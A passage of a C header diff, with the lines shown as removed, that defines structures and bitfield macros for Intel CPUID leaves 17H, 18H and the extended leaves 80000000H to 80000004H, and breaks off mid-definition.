CPUID_SOC_VENDOR_INFORMATION 0x00000017 - /** - * @brief System-On-Chip Vendor Attribute Enumeration Main Leaf (EAX = 17H, ECX = 0) - * - * @note Leaf 17H main leaf (ECX = 0). Leaf 17H output depends on the initial value in ECX. Leaf 17H sub-leaves 1 through 3 - * reports SOC Vendor Brand String. Leaf 17H is valid if MaxSOCID_Index >= 3. Leaf 17H sub-leaves 4 and above are reserved. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 17H. - */ - uint32_t max_soc_id_index : 32; -#define CPUID_EAX_MAX_SOC_ID_INDEX_BIT 0 -#define CPUID_EAX_MAX_SOC_ID_INDEX_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SOC_ID_INDEX_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SOC_ID_INDEX(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] SOC Vendor ID. - */ - uint32_t soc_vendor_id : 16; -#define CPUID_EBX_SOC_VENDOR_ID_BIT 0 -#define CPUID_EBX_SOC_VENDOR_ID_FLAG 0xFFFF -#define CPUID_EBX_SOC_VENDOR_ID_MASK 0xFFFF -#define CPUID_EBX_SOC_VENDOR_ID(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bit 16] If 1, the SOC Vendor ID field is assigned via an industry standard enumeration scheme. Otherwise, the SOC - * Vendor ID field is assigned by Intel. - */ - uint32_t is_vendor_scheme : 1; -#define CPUID_EBX_IS_VENDOR_SCHEME_BIT 16 -#define CPUID_EBX_IS_VENDOR_SCHEME_FLAG 0x10000 -#define CPUID_EBX_IS_VENDOR_SCHEME_MASK 0x01 -#define CPUID_EBX_IS_VENDOR_SCHEME(_) (((_) >> 16) & 0x01) - uint32_t reserved1 : 15; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] A unique number an SOC vendor assigns to its SOC projects. - */ - uint32_t project_id : 32; -#define CPUID_ECX_PROJECT_ID_BIT 0 -#define CPUID_ECX_PROJECT_ID_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROJECT_ID_MASK 0xFFFFFFFF -#define CPUID_ECX_PROJECT_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] A unique number within an SOC project that an SOC vendor assigns. - */ - uint32_t stepping_id : 32; -#define CPUID_EDX_STEPPING_ID_BIT 0 -#define CPUID_EDX_STEPPING_ID_FLAG 0xFFFFFFFF -#define CPUID_EDX_STEPPING_ID_MASK 0xFFFFFFFF -#define CPUID_EDX_STEPPING_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_00; - -/** - * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaf (EAX = 17H, ECX = 1..3) - * - * @note Leaf 17H output depends on the initial value in ECX. SOC Vendor Brand String is a UTF-8 encoded string padded with - * trailing bytes of 00H. The complete SOC Vendor Brand String is constructed by concatenating in ascending order of - * EAX:EBX:ECX:EDX and from the sub-leaf 1 fragment towards sub-leaf 3. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EAX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EBX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_ECX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. - */ - uint32_t soc_vendor_brand_string : 32; -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_BIT 0 -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF -#define CPUID_EDX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_01_03; - -/** - * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaves (EAX = 17H, ECX > MaxSOCID_Index) - * - * @note Leaf 17H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reserved = 0. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_17_ecx_n; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_18 \ - * EAX = 0x18 - * - * When CPUID executes with EAX set to 18H, the processor returns information about the Deterministic Address Translation - * Parameters. - * @{ - */ -#define CPUID_DETERMINISTIC_ADDRESS_TRANSLATION_PARAMETERS 0x00000018 - /** - * @brief Deterministic Address Translation Parameters Main Leaf (EAX = 18H, ECX = 0) - * - * @note Each sub-leaf enumerates a different address translation structure. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value - * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to - * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf - * or than a valid sub-leaf of a higher or lower-level structure. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 18H. - */ - uint32_t max_sub_leaf : 32; -#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 -#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] 4K page size entries supported by this structure. - */ - uint32_t page_entries_4kb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] 2MB page size entries supported by this structure. - */ - uint32_t page_entries_2mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] 4MB page size entries supported by this structure. - */ - uint32_t page_entries_4mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] 1 GB page size entries supported by this structure. - */ - uint32_t page_entries_1gb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). - */ - uint32_t partitioning : 3; -#define CPUID_EBX_PARTITIONING_BIT 8 -#define CPUID_EBX_PARTITIONING_FLAG 0x700 -#define CPUID_EBX_PARTITIONING_MASK 0x07 -#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) - uint32_t reserved2 : 5; - - /** - * [Bits 31:16] W = Ways of associativity. - */ - uint32_t ways_of_associativity_00 : 16; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_BIT 16 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_FLAG 0xFFFF0000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_MASK 0xFFFF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Translation cache type field. - * - 00000b: Null (indicates this sub-leaf is not valid). - * - 00001b: Data TLB. - * - 00010b: Instruction TLB. - * - 00011b: Unified TLB. - * All other encodings are reserved. - * - * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will - * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see - * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. - */ - uint32_t translation_cache_type_field : 5; -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Translation cache level (starts at 1). - */ - uint32_t translation_cache_level : 3; -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Fully associative structure. - */ - uint32_t fully_associative_structure : 1; -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) - uint32_t reserved1 : 5; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. - * - * @note Add one to the return value to get the result. - */ - uint32_t max_addressable_ids_for_logical_processors : 12; -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) - uint32_t reserved2 : 6; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_18_ecx_00; - -/** - * @brief Deterministic Address Translation Parameters Sub-leaf (EAX = 18H, ECX >= 1) - * - * @note Each sub-leaf enumerates a different address translation structure. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value - * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to - * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf - * or than a valid sub-leaf of a higher or lower-level structure. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] 4K page size entries supported by this structure. - */ - uint32_t page_entries_4kb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] 2MB page size entries supported by this structure. - */ - uint32_t page_entries_2mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] 4MB page size entries supported by this structure. - */ - uint32_t page_entries_4mb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] 1 GB page size entries supported by this structure. - */ - uint32_t page_entries_1gb_supported : 1; -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 -#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). - */ - uint32_t partitioning : 3; -#define CPUID_EBX_PARTITIONING_BIT 8 -#define CPUID_EBX_PARTITIONING_FLAG 0x700 -#define CPUID_EBX_PARTITIONING_MASK 0x07 -#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) - uint32_t reserved2 : 5; - - /** - * [Bits 31:16] W = Ways of associativity. - */ - uint32_t ways_of_associativity_01 : 16; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_BIT 16 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_FLAG 0xFFFF0000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_MASK 0xFFFF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Translation cache type field. - * - 00000b: Null (indicates this sub-leaf is not valid). - * - 00001b: Data TLB. - * - 00010b: Instruction TLB. - * - 00011b: Unified TLB. - * All other encodings are reserved. - * - * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will - * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see - * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. - */ - uint32_t translation_cache_type_field : 5; -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Translation cache level (starts at 1). - */ - uint32_t translation_cache_level : 3; -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 -#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Fully associative structure. - */ - uint32_t fully_associative_structure : 1; -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 -#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) - uint32_t reserved1 : 5; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. - * - * @note Add one to the return value to get the result. - */ - uint32_t max_addressable_ids_for_logical_processors : 12; -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF -#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) - uint32_t reserved2 : 6; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_18_ecx_01p; - -/** - * @} - */ - - - /** - * @brief Extended Function CPUID Information - * - * When CPUID executes with EAX set to 80000000H, the processor returns the highest value the processor recognizes for - * returning extended processor information. The value is returned in the EAX register and is processor specific. - */ -#define CPUID_EXTENDED_FUNCTION_INFORMATION 0x80000000 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Maximum Input Value for Extended Function CPUID Information. - */ - uint32_t max_extended_functions : 32; -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_BIT 0 -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_FLAG 0xFFFFFFFF -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_MASK 0xFFFFFFFF -#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000000; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_CPU_SIGNATURE 0x80000001 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] LAHF/SAHF available in 64-bit mode. - */ - uint32_t lahf_sahf_available_in_64_bit_mode : 1; -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_BIT 0 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_FLAG 0x01 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 -#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 0) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bit 5] LZCNT. - */ - uint32_t lzcnt : 1; -#define CPUID_ECX_LZCNT_BIT 5 -#define CPUID_ECX_LZCNT_FLAG 0x20 -#define CPUID_ECX_LZCNT_MASK 0x01 -#define CPUID_ECX_LZCNT(_) (((_) >> 5) & 0x01) - uint32_t reserved2 : 2; - - /** - * [Bit 8] PREFETCHW. - */ - uint32_t prefetchw : 1; -#define CPUID_ECX_PREFETCHW_BIT 8 -#define CPUID_ECX_PREFETCHW_FLAG 0x100 -#define CPUID_ECX_PREFETCHW_MASK 0x01 -#define CPUID_ECX_PREFETCHW(_) (((_) >> 8) & 0x01) - uint32_t reserved3 : 23; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 11; - - /** - * [Bit 11] SYSCALL/SYSRET available in 64-bit mode. - */ - uint32_t syscall_sysret_available_in_64_bit_mode : 1; -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_BIT 11 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_FLAG 0x800 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 -#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 11) & 0x01) - uint32_t reserved2 : 8; - - /** - * [Bit 20] Execute Disable Bit available. - */ - uint32_t execute_disable_bit_available : 1; -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_BIT 20 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_FLAG 0x100000 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_MASK 0x01 -#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE(_) (((_) >> 20) & 0x01) - uint32_t reserved3 : 5; - - /** - * [Bit 26] 1-GByte pages are available if 1. - */ - uint32_t pages_1gb_available : 1; -#define CPUID_EDX_PAGES_1GB_AVAILABLE_BIT 26 -#define CPUID_EDX_PAGES_1GB_AVAILABLE_FLAG 0x4000000 -#define CPUID_EDX_PAGES_1GB_AVAILABLE_MASK 0x01 -#define CPUID_EDX_PAGES_1GB_AVAILABLE(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] RDTSCP and IA32_TSC_AUX are available if 1. - */ - uint32_t rdtscp_available : 1; -#define CPUID_EDX_RDTSCP_AVAILABLE_BIT 27 -#define CPUID_EDX_RDTSCP_AVAILABLE_FLAG 0x8000000 -#define CPUID_EDX_RDTSCP_AVAILABLE_MASK 0x01 -#define CPUID_EDX_RDTSCP_AVAILABLE(_) (((_) >> 27) & 0x01) - uint32_t reserved4 : 1; - - /** - * [Bit 29] Intel(R) 64 Architecture available if 1. - */ - uint32_t ia64_available : 1; -#define CPUID_EDX_IA64_AVAILABLE_BIT 29 -#define CPUID_EDX_IA64_AVAILABLE_FLAG 0x20000000 -#define CPUID_EDX_IA64_AVAILABLE_MASK 0x01 -#define CPUID_EDX_IA64_AVAILABLE(_) (((_) >> 29) & 0x01) - uint32_t reserved5 : 2; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000001; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING1 0x80000002 - - /** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING2 0x80000003 - - /** - * Extended Function CPUID Information. - */ -#define CPUID_BRAND_STRING3 0x80000004 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String. - */ - uint32_t processor_brand_string_1 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_1(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_2 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_2(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_3 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_3(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_4 : 32; -#define 